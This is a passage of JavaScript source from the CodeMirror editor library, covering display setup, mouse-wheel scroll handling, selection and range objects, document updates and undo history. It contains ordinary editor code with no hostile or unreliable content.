    // When lines outside of the viewport are measured, they are drawn in this.
    d.lineMeasure = elt("div", null, "CodeMirror-measure");
    // Wraps everything that needs to exist inside the vertically-padded coordinate system
    d.lineSpace = eltP("div", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],
                      null, "position: relative; outline: none");
    var lines = eltP("div", [d.lineSpace], "CodeMirror-lines");
    // Moved around its parent to cover visible view.
    d.mover = elt("div", [lines], null, "position: relative");
    // Set to the height of the document, allowing scrolling.
    d.sizer = elt("div", [d.mover], "CodeMirror-sizer");
    d.sizerWidth = null;
    // Behavior of elts with overflow: auto and padding is
    // inconsistent across browsers. This is used to ensure the
    // scrollable area is big enough.
    d.heightForcer = elt("div", null, null, "position: absolute; height: " + scrollerGap + "px; width: 1px;");
    // Will contain the gutters, if any.
    d.gutters = elt("div", null, "CodeMirror-gutters");
    d.lineGutter = null;
    // Actual scrollable element.
    d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters], "CodeMirror-scroll");
    d.scroller.setAttribute("tabIndex", "-1");
    // The element in which the editor lives.
    d.wrapper = elt("div", [d.scrollbarFiller, d.gutterFiller, d.scroller], "CodeMirror");

    // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)
    if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }
    if (!webkit && !(gecko && mobile)) { d.scroller.draggable = true; }

    if (place) {
      if (place.appendChild) { place.appendChild(d.wrapper); }
      else { place(d.wrapper); }
    }

    // Current rendered range (may be bigger than the view window).
    d.viewFrom = d.viewTo = doc.first;
    d.reportedViewFrom = d.reportedViewTo = doc.first;
    // Information about the rendered lines.
    d.view = [];
    d.renderedView = null;
    // Holds info about a single rendered line when it was rendered
    // for measurement, while not in view.
    d.externalMeasured = null;
    // Empty space (in pixels) above the view
    d.viewOffset = 0;
    d.lastWrapHeight = d.lastWrapWidth = 0;
    d.updateLineNumbers = null;

    d.nativeBarWidth = d.barHeight = d.barWidth = 0;
    d.scrollbarsClipped = false;

    // Used to only resize the line number gutter when necessary (when
    // the amount of lines crosses a boundary that makes its width change)
    d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;
    // Set to true when a non-horizontal-scrolling line widget is
    // added. As an optimization, line widget aligning is skipped when
    // this is false.
    d.alignWidgets = false;

    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;

    // Tracks the maximum line length so that the horizontal scrollbar
    // can be kept static when scrolling.
    d.maxLine = null;
    d.maxLineLength = 0;
    d.maxLineChanged = false;

    // Used for measuring wheel scrolling granularity
    d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;

    // True when shift is held down.
    d.shift = false;

    // Used to track whether anything happened since the context menu
    // was opened.
    d.selForContextMenu = null;

    d.activeTouch = null;

    d.gutterSpecs = getGutters(options.gutters, options.lineNumbers);
    renderGutters(d);

    input.init(d);
  }

  // Since the delta values reported on mouse wheel events are
  // unstandardized between browsers and even browser versions, and
  // generally horribly unpredictable, this code starts by measuring
  // the scroll effect that the first few mouse wheel events have,
  // and, from that, detects the way it can convert deltas to pixel
  // offsets afterwards.
  //
  // The reason we want to know the amount a wheel event will scroll
  // is that it gives us a chance to update the display before the
  // actual scrolling happens, reducing flickering.

  var wheelSamples = 0, wheelPixelsPerUnit = null;
  // Fill in a browser-detected starting value on browsers where we
  // know one. These don't have to be accurate -- the result of them
  // being wrong would just be a slight flicker on the first wheel
  // scroll (if it is large enough).
  if (ie) { wheelPixelsPerUnit = -.53; }
  else if (gecko) { wheelPixelsPerUnit = 15; }
  else if (chrome) { wheelPixelsPerUnit = -.7; }
  else if (safari) { wheelPixelsPerUnit = -1/3; }

  function wheelEventDelta(e) {
    var dx = e.wheelDeltaX, dy = e.wheelDeltaY;
    if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) { dx = e.detail; }
    if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) { dy = e.detail; }
    else if (dy == null) { dy = e.wheelDelta; }
    return {x: dx, y: dy}
  }
  function wheelEventPixels(e) {
    var delta = wheelEventDelta(e);
    delta.x *= wheelPixelsPerUnit;
    delta.y *= wheelPixelsPerUnit;
    return delta
  }

  function onScrollWheel(cm, e) {
    var delta = wheelEventDelta(e), dx = delta.x, dy = delta.y;

    var display = cm.display, scroll = display.scroller;
    // Quit if there's nothing to scroll here
    var canScrollX = scroll.scrollWidth > scroll.clientWidth;
    var canScrollY = scroll.scrollHeight > scroll.clientHeight;
    if (!(dx && canScrollX || dy && canScrollY)) { return }

    // Webkit browsers on OS X abort momentum scrolls when the target
    // of the scroll event is removed from the scrollable element.
    // This hack (see related code in patchDisplay) makes sure the
    // element is kept around.
    if (dy && mac && webkit) {
      outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {
        for (var i = 0; i < view.length; i++) {
          if (view[i].node == cur) {
            cm.display.currentWheelTarget = cur;
            break outer
          }
        }
      }
    }

    // On some browsers, horizontal scrolling will cause redraws to
    // happen before the gutter has been realigned, causing it to
    // wriggle around in a most unseemly way. When we have an
    // estimated pixels/delta value, we just handle horizontal
    // scrolling entirely here. It'll be slightly off from native, but
    // better than glitching out.
    if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {
      if (dy && canScrollY)
        { updateScrollTop(cm, Math.max(0, scroll.scrollTop + dy * wheelPixelsPerUnit)); }
      setScrollLeft(cm, Math.max(0, scroll.scrollLeft + dx * wheelPixelsPerUnit));
      // Only prevent default scrolling if vertical scrolling is
      // actually possible. Otherwise, it causes vertical scroll
      // jitter on OSX trackpads when deltaX is small and deltaY
      // is large (issue #3579)
      if (!dy || (dy && canScrollY))
        { e_preventDefault(e); }
      display.wheelStartX = null; // Abort measurement, if in progress
      return
    }

    // 'Project' the visible viewport to cover the area that is being
    // scrolled into view (if we know enough to estimate it).
    if (dy && wheelPixelsPerUnit != null) {
      var pixels = dy * wheelPixelsPerUnit;
      var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;
      if (pixels < 0) { top = Math.max(0, top + pixels - 50); }
      else { bot = Math.min(cm.doc.height, bot + pixels + 50); }
      updateDisplaySimple(cm, {top: top, bottom: bot});
    }

    if (wheelSamples < 20) {
      if (display.wheelStartX == null) {
        display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;
        display.wheelDX = dx; display.wheelDY = dy;
        setTimeout(function () {
          if (display.wheelStartX == null) { return }
          var movedX = scroll.scrollLeft - display.wheelStartX;
          var movedY = scroll.scrollTop - display.wheelStartY;
          var sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||
            (movedX && display.wheelDX && movedX / display.wheelDX);
          display.wheelStartX = display.wheelStartY = null;
          if (!sample) { return }
          wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);
          ++wheelSamples;
        }, 200);
      } else {
        display.wheelDX += dx; display.wheelDY += dy;
      }
    }
  }

  // Selection objects are immutable. A new one is created every time
  // the selection changes. A selection is one or more non-overlapping
  // (and non-touching) ranges, sorted, and an integer that indicates
  // which one is the primary selection (the one that's scrolled into
  // view, that getCursor returns, etc).
  var Selection = function(ranges, primIndex) {
    this.ranges = ranges;
    this.primIndex = primIndex;
  };

  Selection.prototype.primary = function () { return this.ranges[this.primIndex] };

  Selection.prototype.equals = function (other) {
    if (other == this) { return true }
    if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) { return false }
    for (var i = 0; i < this.ranges.length; i++) {
      var here = this.ranges[i], there = other.ranges[i];
      if (!equalCursorPos(here.anchor, there.anchor) || !equalCursorPos(here.head, there.head)) { return false }
    }
    return true
  };

  Selection.prototype.deepCopy = function () {
    var out = [];
    for (var i = 0; i < this.ranges.length; i++)
      { out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head)); }
    return new Selection(out, this.primIndex)
  };

  Selection.prototype.somethingSelected = function () {
    for (var i = 0; i < this.ranges.length; i++)
      { if (!this.ranges[i].empty()) { return true } }
    return false
  };

  Selection.prototype.contains = function (pos, end) {
    if (!end) { end = pos; }
    for (var i = 0; i < this.ranges.length; i++) {
      var range = this.ranges[i];
      if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)
        { return i }
    }
    return -1
  };

  var Range = function(anchor, head) {
    this.anchor = anchor; this.head = head;
  };

  Range.prototype.from = function () { return minPos(this.anchor, this.head) };
  Range.prototype.to = function () { return maxPos(this.anchor, this.head) };
  Range.prototype.empty = function () { return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch };

  // Take an unsorted, potentially overlapping set of ranges, and
  // build a selection out of it. 'Consumes' ranges array (modifying
  // it).
  function normalizeSelection(cm, ranges, primIndex) {
    var mayTouch = cm && cm.options.selectionsMayTouch;
    var prim = ranges[primIndex];
    ranges.sort(function (a, b) { return cmp(a.from(), b.from()); });
    primIndex = indexOf(ranges, prim);
    for (var i = 1; i < ranges.length; i++) {
      var cur = ranges[i], prev = ranges[i - 1];
      var diff = cmp(prev.to(), cur.from());
      if (mayTouch && !cur.empty() ? diff > 0 : diff >= 0) {
        var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());
        var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;
        if (i <= primIndex) { --primIndex; }
        ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));
      }
    }
    return new Selection(ranges, primIndex)
  }

  function simpleSelection(anchor, head) {
    return new Selection([new Range(anchor, head || anchor)], 0)
  }

  // Compute the position of the end of a change (its 'to' property
  // refers to the pre-change end).
  function changeEnd(change) {
    if (!change.text) { return change.to }
    return Pos(change.from.line + change.text.length - 1,
               lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0))
  }

  // Adjust a position to refer to the post-change position of the
  // same text, or the end of the change if the change covers it.
  function adjustForChange(pos, change) {
    if (cmp(pos, change.from) < 0) { return pos }
    if (cmp(pos, change.to) <= 0) { return changeEnd(change) }

    var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;
    if (pos.line == change.to.line) { ch += changeEnd(change).ch - change.to.ch; }
    return Pos(line, ch)
  }

  function computeSelAfterChange(doc, change) {
    var out = [];
    for (var i = 0; i < doc.sel.ranges.length; i++) {
      var range = doc.sel.ranges[i];
      out.push(new Range(adjustForChange(range.anchor, change),
                         adjustForChange(range.head, change)));
    }
    return normalizeSelection(doc.cm, out, doc.sel.primIndex)
  }

  function offsetPos(pos, old, nw) {
    if (pos.line == old.line)
      { return Pos(nw.line, pos.ch - old.ch + nw.ch) }
    else
      { return Pos(nw.line + (pos.line - old.line), pos.ch) }
  }

  // Used by replaceSelections to allow moving the selection to the
  // start or around the replaced test. Hint may be "start" or "around".
  function computeReplacedSel(doc, changes, hint) {
    var out = [];
    var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;
    for (var i = 0; i < changes.length; i++) {
      var change = changes[i];
      var from = offsetPos(change.from, oldPrev, newPrev);
      var to = offsetPos(changeEnd(change), oldPrev, newPrev);
      oldPrev = change.to;
      newPrev = to;
      if (hint == "around") {
        var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;
        out[i] = new Range(inv ? to : from, inv ? from : to);
      } else {
        out[i] = new Range(from, from);
      }
    }
    return new Selection(out, doc.sel.primIndex)
  }

  // Used to get the editor into a consistent state again when options change.

  function loadMode(cm) {
    cm.doc.mode = getMode(cm.options, cm.doc.modeOption);
    resetModeState(cm);
  }

  function resetModeState(cm) {
    cm.doc.iter(function (line) {
      if (line.stateAfter) { line.stateAfter = null; }
      if (line.styles) { line.styles = null; }
    });
    cm.doc.modeFrontier = cm.doc.highlightFrontier = cm.doc.first;
    startWorker(cm, 100);
    cm.state.modeGen++;
    if (cm.curOp) { regChange(cm); }
  }

  // DOCUMENT DATA STRUCTURE

  // By default, updates that start and end at the beginning of a line
  // are treated specially, in order to make the association of line
  // widgets and marker elements with the text behave more intuitive.
  function isWholeLineUpdate(doc, change) {
    return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == "" &&
      (!doc.cm || doc.cm.options.wholeLineUpdateBefore)
  }

  // Perform a change on the document data structure.
  function updateDoc(doc, change, markedSpans, estimateHeight) {
    function spansFor(n) {return markedSpans ? markedSpans[n] : null}
    function update(line, text, spans) {
      updateLine(line, text, spans, estimateHeight);
      signalLater(line, "change", line, change);
    }
    function linesFor(start, end) {
      var result = [];
      for (var i = start; i < end; ++i)
        { result.push(new Line(text[i], spansFor(i), estimateHeight)); }
      return result
    }

    var from = change.from, to = change.to, text = change.text;
    var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);
    var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;

    // Adjust the line structure
    if (change.full) {
      doc.insert(0, linesFor(0, text.length));
      doc.remove(text.length, doc.size - text.length);
    } else if (isWholeLineUpdate(doc, change)) {
      // This is a whole-line replace. Treated specially to make
      // sure line objects move the way they are supposed to.
      var added = linesFor(0, text.length - 1);
      update(lastLine, lastLine.text, lastSpans);
      if (nlines) { doc.remove(from.line, nlines); }
      if (added.length) { doc.insert(from.line, added); }
    } else if (firstLine == lastLine) {
      if (text.length == 1) {
        update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);
      } else {
        var added$1 = linesFor(1, text.length - 1);
        added$1.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight));
        update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
        doc.insert(from.line + 1, added$1);
      }
    } else if (text.length == 1) {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));
      doc.remove(from.line + 1, nlines);
    } else {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
      update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);
      var added$2 = linesFor(1, text.length - 1);
      if (nlines > 1) { doc.remove(from.line + 1, nlines - 1); }
      doc.insert(from.line + 1, added$2);
    }

    signalLater(doc, "change", doc, change);
  }

  // Call f for all linked documents.
  function linkedDocs(doc, f, sharedHistOnly) {
    function propagate(doc, skip, sharedHist) {
      if (doc.linked) { for (var i = 0; i < doc.linked.length; ++i) {
        var rel = doc.linked[i];
        if (rel.doc == skip) { continue }
        var shared = sharedHist && rel.sharedHist;
        if (sharedHistOnly && !shared) { continue }
        f(rel.doc, shared);
        propagate(rel.doc, doc, shared);
      } }
    }
    propagate(doc, null, true);
  }

  // Attach a document to an editor.
  function attachDoc(cm, doc) {
    if (doc.cm) { throw new Error("This document is already in use.") }
    cm.doc = doc;
    doc.cm = cm;
    estimateLineHeights(cm);
    loadMode(cm);
    setDirectionClass(cm);
    if (!cm.options.lineWrapping) { findMaxLine(cm); }
    cm.options.mode = doc.modeOption;
    regChange(cm);
  }

  function setDirectionClass(cm) {
  (cm.doc.direction == "rtl" ? addClass : rmClass)(cm.display.lineDiv, "CodeMirror-rtl");
  }

  function directionChanged(cm) {
    runInOp(cm, function () {
      setDirectionClass(cm);
      regChange(cm);
    });
  }

  function History(startGen) {
    // Arrays of change events and selections. Doing something adds an
    // event to done and clears undo. Undoing moves events from done
    // to undone, redoing moves them in the other direction.
    this.done = []; this.undone = [];
    this.undoDepth = Infinity;
    // Used to track when changes can be merged into a single undo
    // event
    this.lastModTime = this.lastSelTime = 0;
    this.lastOp = this.lastSelOp = null;
    this.lastOrigin = this.lastSelOrigin = null;
    // Used by the isClean() method
    this.generation = this.maxGeneration = startGen || 1;
  }

  // Create a history change event from an updateDoc-style change
  // object.
  function historyChangeFromChange(doc, change) {
    var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};
    attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);
    linkedDocs(doc, function (doc) { return attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1); }, true);
    return histChange
  }

  // Pop all selection events off the end of a history array. Stop at
  // a change event.
  function clearSelectionEvents(array) {
    while (array.length) {
      var last = lst(array);
      if (last.ranges) { array.pop(); }
      else { break }
    }
  }

  // Find the top change event in the history. Pop off selection
  // events that are in the way.
  function lastChangeEvent(hist, force) {
    if (force) {
      clearSelectionEvents(hist.done);
      return lst(hist.done)
    } else if (hist.done.length && !lst(hist.done).ranges) {
      return lst(hist.done)
    } else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {
      hist.done.pop();
      return lst(hist.done)
    }
  }

  // Register a change in the history. Merges changes that are within
  // a single operation, or are close together with an origin that
  // allows merging (starting with "+") into a single event.
  function addChangeToHistory(doc, change, selAfter, opId) {
    var hist = doc.history;
    hist.undone.length = 0;
    var time = +new Date, cur;
    var last;

    if ((hist.lastOp == opId ||
         hist.lastOrigin == change.origin && change.origin &&
         ((change.origin.charAt(0) == "+" && hist.lastModTime > time - (doc.cm ? doc.cm.options.historyEventDelay : 500)) ||
          change.origin.charAt(0) == "*")) &&
        (cur = lastChangeEvent(hist, hist.lastOp == opId))) {
      // Merge this change into the last event
      last = lst(cur.changes);
      if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {
        // Optimized case for simple insertion -- don't want to add
        // new changesets for every character typed
        last.to = changeEnd(change);
      } else {
        // Add new sub-event
        cur.changes.push(historyChangeFromChange(doc, change));
      }
    } else {
      // Can not be merged, start a new event.
      var before = lst(hist.done);
      if (!before || !before.ranges)
        { pushSelectionToHistory(doc.sel, hist.done); }
      cur = {changes: [historyChangeFromChange(doc, change)],
             generation: hist.generation};
      hist.done.push(cur);
      while (hist.done.length > hist.undoDepth) {
        hist.done.shift();
        if (!hist.done[0].ranges) { hist.done.shift(); }
      }
    }
    hist.done.push(selAfter);
    hist.generation = ++hist.maxGeneration;
    hist.lastModTime = hist.lastSelTime = time;
    hist.lastOp = hist.lastSelOp = opId;
    hist.lastOrigin = hist.lastSelOrigin = change.origin;

    if (!last) { signal(doc, "historyAdded"); }
  }

  function selectionEventCanBeMerged(doc, origin, prev, sel) {
    var ch = origin.charAt(0);
    return ch == "*" ||
      ch == "+" &&
      prev.ranges.length == sel.ranges.length &&
      prev.somethingSelected() == sel.somethingSelected() &&
      new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500)
  }

  // Called whenever the selection changes, sets the new selection as
  // the pending selection in the history, and pushes the old pending
  // selection into the 'done' array when it was significantly
  // different (in number of selected ranges, emptiness, or time).
  function addSelectionToHistory(doc, sel, opId, options) {
    var hist = doc.history, origin = options && options.origin;

    // A new event is started when the previous origin does not match
    // the current, or the origins don't allow matching. Origins
    // starting with * are always merged, those starting with + are
    // merged when similar and close together in time.
    if (opId == hist.lastSelOp ||
        (origin && hist.lastSelOrigin == origin &&
         (hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||
          selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))
      { hist.done[hist.done.length - 1] = sel; }
    else
      { pushSelectionToHistory(sel, hist.done); }

    hist.lastSelTime = +new Date;
    hist.lastSelOrigin = origin;
    hist.lastSelOp = opId;
    if (options && options.clearRedo !== false)
      { clearSelectionEvents(hist.undone); }
  }

  function pushSelectionToHistory(sel, dest) {
    var top = lst(dest);
    if (!(top && top.ranges && top.equals(sel)))
      { dest.push(sel); }
  }

  // Used to store marked span information in the history.
  function attachLocalSpans(doc, change, from, to) {
    var existing = change["spans_" + doc.id], n = 0;
    doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function (line) {
      if (line.markedSpans)
        { (existing || (existing = change["spans_" + doc.id] = {}))[n] = line.markedSpans; }
      ++n;
    });
  }

  // When un/re-doing restores text containing marked spans, those
  // that have been explicitly cleared should not be restored.
  function removeClearedSpans(spans) {
    if (!spans) { return null }
    var out;
    for (var i = 0; i < spans.length; ++i) {
      if (spans[i].marker.explicitlyCleared) { if (!out) { out = spans.slice(0, i); } }
      else if (out) { out.push(spans[i]); }
    }
    return !out ? spans : out.length ? out : null
  }

  // Retrieve and filter the old marked spans stored in a change event.
  function getOldSpans(doc, change) {
    var found = change["spans_" + doc.id];
    if (!found) { return null }
    var nw = [];
    for (var i = 0; i < change.text.length; ++i)
      { nw.push(removeClearedSpans(found[i])); }
    return nw
  }

  // Used for un/re-doing changes from the history. Combines the
  // result of computing the existing spans with the set of spans that
  // existed in the history (so that deleting around a span and then
  // undoing brings back the span).
  function mergeOldSpans(doc, change) {
    var old = getOldSpans(doc, change);
    var stretched = stretchSpansOverChange(doc, change);
    if (!old) { return stretched }
    if (!stretched) { return old }

    for (var i = 0; i < old.length; ++i) {
      var oldCur = old[i], stretchCur = stretched[i];
      if (oldCur && stretchCur) {
        spans: for (var j = 0; j < stretchCur.length; ++j) {
          var span = stretchCur[j];
          for (var k = 0; k < oldCur.length; ++k)
            { if (oldCur[k].marker == span.marker) { continue spans } }
          oldCur.push(span);
        }
      } else if (stretchCur) {
        old[i] = stretchCur;
      }
    }
    return old
  }

  // Used both to provide a JSON-safe object in .getHistory, and, when
  // detaching a document, to split the history in two
  function copyHistoryArray(events, newGroup, instantiateSel) {
    var copy = [];
    for (var i = 0; i < events.length; ++i) {
      var event = events[i];
      if (event.ranges) {
        copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);
        continue
      }
      var changes = event.changes, newChanges = [];
      copy.push({changes: newChanges});
      for (var j = 0; j < changes.length; ++j) {
        var change = changes[j], m = (void 0);
        newChanges.push({from: change.from, to: change.to, text: change.text});
        if (newGroup) { for (var prop in change) { if (m = prop.match(/^spans_(\d+)$/)) {
          if (indexOf(newGroup, Number(m[1])) > -1) {
            lst(newChanges)[prop] = change[prop];
            delete change[prop];
          }
        } } }
      }
    }
    return copy
  }

  // The 'scroll' parameter given to many of these indicated whether
  // the new cursor position should be scrolled into view after
  // modifying the selection.

  // If shift is held or the extend flag is set, extends a range to
  // include a given position (and optionally a second position).
  // Otherwise, simply returns the range between the given positions.
  // Used for cursor motion and such.
  function extendRange(range, head, other, extend) {
    if (extend) {
      var anchor = range.anchor;
      if (other) {
        var posBefore = cmp(head, anchor) < 0;
        if (posBefore != (cmp(other, anchor) < 0)) {
          anchor = head;
          head = other;
        } else if (posBefore != (cmp(head, other) < 0)) {
          head = other;
        }
      }
      return new Range(anchor, head)
    } else {
      return new Range(other || head, head)
    }
  }

  // Extend the primary selection range, discard the rest.
  function extendSelection(doc, head, other, options, extend) {
    if (extend == null) { extend = doc.cm && (doc.cm.display.shift || doc.extend); }
    setSelection(doc, new Selection([extendRange(doc.sel.primary(), head, other, extend)], 0), options);
  }

  // Extend all selections (pos is an array of selections with length
  // equal the number of selections)
  function extendSelections(doc, heads, options) {
    var out = [];
    var extend = doc.cm && (doc.cm.display.shift || doc.extend);
    for (var i = 0; i < doc.sel.ranges.length; i++)
      { out[i] = extendRange(doc.sel.ranges[i], heads[i], null, extend); }
    var newSel = normalizeSelection(doc.cm, out, doc.sel.primIndex);
    setSelection(doc, newSel, options);
  }

  // Updates a single range in the selection.
  function replaceOneSelection(doc, i, range, options) {
    var ranges = doc.sel.ranges.slice(0);
    ranges[i] = range;
    setSelection(doc, normalizeSelection(doc.cm, ranges, doc.sel.primIndex), options);
  }

  // Reset the selection to a single range.
  function setSimpleSelection(doc, anchor, head, options) {
    setSelection(doc, simpleSelection(anchor, head), options);
  }

  // Give beforeSelectionChange handlers a change to influence a
  // selection update.
  function filterSelectionChange(doc, sel, options) {
    var obj = {
      ranges: sel.ranges,
      update: function(ranges) {
        this.ranges = [];
        for (var i = 0; i < ranges.length; i++)
          { this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),
                                     clipPos(doc, ranges[i].head)); }
      },
      origin: options && options.origin
    };
    signal(doc, "beforeSelectionChange", doc, obj);
    if (doc.cm) { signal(doc.cm, "beforeSelectionChange", doc.cm, obj); }
    if (obj.ranges != sel.ranges) { return normalizeSelection(doc.cm, obj.ranges, obj.ranges.length - 1) }
    else { return sel }
  }

  function setSelectionReplaceHistory(doc, sel, options) {
    var done = doc.history.done, last = lst(done);
    if (last && last.ranges) {
      done[done.length - 1] = sel;
      setSelectionNoUndo(doc, sel, options);
    } else {
      setSelection(doc, sel, options);
    }
  }

  // Set a new selection.
  function setSelection(doc, sel, options) {
    setSelectionNoUndo(doc, sel, options);
    addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);
  }

  function setSelectionNoUndo(doc, sel, options) {
    if (hasHandler(doc, "beforeSelectionChange") || doc.cm && hasHandler(doc.cm, "beforeSelectionChange"))
      { sel = filterSelectionChange(doc, sel, options); }

    var bias = options && options.bias ||
      (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);
    setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));

    if (!(options && options.scroll === false) && doc.cm)
      { ensureCursorVisible(doc.cm); }
  }

  function setSelectionInner(doc, sel) {
    if (sel.equals(doc.sel)) { return }

    doc.sel = sel;

    if (doc.cm) {
      doc.cm.curOp.updateInput = 1;
      doc.cm.curOp.selectionChanged = true;
      signalCursorActivity(doc.cm);
    }
    signalLater(doc, "cursorActivity", doc);
  }

  // Verify that the selection does not partially select any atomic
  // marked ranges.
  function reCheckSelection(doc) {
    setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false));
  }

  // Return a selection that does not partially select any atomic
  // ranges.
  function skipAtomicInSelection(doc, sel, bias, mayClear) {
    var out;
    for (var i = 0; i < sel.ranges.length; i++) {
      var range = sel.ranges[i];
      var old = sel.ranges.length == doc.sel.ranges.length && doc.sel.ranges[i];
      var newAnchor = skipAtomic(doc, range.anchor, old && old.anchor, bias, mayClear);
      var newHead = skipAtomic(doc, range.head, old && old.head, bias, mayClear);
      if (out || newAnchor != range.anchor || newHead != range.head) {
        if (!out) { out = sel.ranges.slice(0, i); }
        out[i] = new Range(newAnchor, newHead);
      }
    }
    return out ? normalizeSelection(doc.cm, out, sel.primIndex) : sel
  }

  function skipAtomicInner(doc, pos, oldPos, dir, mayClear) {
    var line = getLine(doc, pos.line);
    if (line.markedSpans) { for (var i = 0; i < line.markedSpans.length; ++i) {
      var sp = line.markedSpans[i], m = sp.marker;

      // Determine if we should prevent the cursor being placed to the left/right of an atomic marker
      // Historically this was determined using the inclusiveLeft/Right option, but the new way to control it
      // is with selectLeft/Right
      var preventCursorLeft = ("selectLeft" in m) ? !m.selectLeft : m.inclusiveLeft;
      var preventCursorRight = ("selectRight" in m) ? !m.selectRight : m.inclusiveRight;

      if ((sp.from == null || (preventCursorLeft ? sp.from <= pos.ch : sp.from < pos.ch)) &&
          (sp.to == null || (preventCursorRight ? sp.to >= pos.ch : sp.to > pos.ch))) {
        if (mayClear) {
          signal(m, "beforeCursorEnter");
          if (m.explicitlyCleared) {
            if (!line.markedSpans) { break }
            else {--i; continue}
          }
        }
        if (!m.atomic) { continue }

        if (oldPos) {
          var near = m.find(dir < 0 ? 1 : -1), diff = (void 0);
          if (dir < 0 ? preventCursorRight : preventCursorLeft)
            { near = movePos(doc, near, -dir, near && near.line == pos.line ? line : null); }
          if (near && near.line == pos.line && (diff = cmp(near, oldPos)) && (dir < 0 ? diff < 0 : diff > 0))
            { return skipAtomicInner(doc, near, pos, dir, mayClear) }
        }

        var far = m.find(dir < 0 ? -1 : 1);
        if (dir < 0 ? preventCursorLeft : preventCursorRight)
          { far = movePos(doc, far, dir, far.line == pos.line ? line : null); }
        return far ? skipAtomicInner(doc, far, pos, dir, mayClear) : null
      }
    } }
    return pos
  }

  // Ensure a given position is not inside an atomic range.
  function skipAtomic(doc, pos, oldPos, bias, mayClear) {
    var dir = bias || 1;
    var found = skipAtomicInner(doc, pos, oldPos, dir, mayClear) ||
        (!mayClear && skipAtomicInner(doc, pos, oldPos, dir, true)) ||
        skipAtomicInner(doc, pos, oldPos, -dir, mayClear) ||
        (!mayClear && skipAtomicInner(doc, pos, oldPos, -dir, true));
    if (!found) {
      doc.cantEdit = true;
      return Pos(doc.first, 0)
    }
    return found
  }

  function movePos(doc, pos, dir, line) {
    if (dir < 0 && pos.ch == 0) {
      if (pos.line > doc.first) { return clipPos(doc, Pos(pos.line - 1)) }
      else { return null }
    } else if (dir > 0 && pos.ch == (line || getLine(doc, pos.line)).text.length) {
      if (pos.line < doc.first + doc.size - 1) { return Pos(pos.line + 1, 0) }
      else { return null }
    } else {
      return new Pos(pos.line, pos.ch + dir)
    }
  }

  function selectAll(cm) {
    cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);
  }

  // UPDATING

  // Allow "beforeChange" event handlers to influence a change
  function filterChange(doc, change, update) {
    var obj = {
      canceled: false,
      from: change.from,
      to: change.to,
      text: change.text,
      origin: change.origin,
      cancel: function () { return obj.canceled = true; }
    };
    if (update) { obj.update = function (from, to, text, origin) {
      if (from) { obj.from = clipPos(doc, from); }
      if (to) { obj.to = clipPos(doc, to); }
      if (text) { obj.text = text; }
      if (origin !== undefined) { obj.origin = origin; }
    }; }
    signal(doc, "beforeChange", doc, obj);
    if (doc.cm) { signal(doc.cm, "beforeChange", doc.cm, obj); }

    if (obj.canceled) {
      if (doc.cm) { doc.cm.curOp.updateInput = 2; }
      return null
    }
    return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin}
  }

  // Apply a change to a document, and add it to the document's
  // history, and propagating it to all linked documents.
  function makeChange(doc, change, ignoreReadOnly) {
    if (doc.cm) {
      if (!doc.cm.curOp) { return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly) }
      if (doc.cm.state.suppressEdits) { return }
    }

    if (hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange")) {
      change = filterChange(doc, change, true);
      if (!change) { return }
    }

    // Possibly split or suppress the update based on the presence
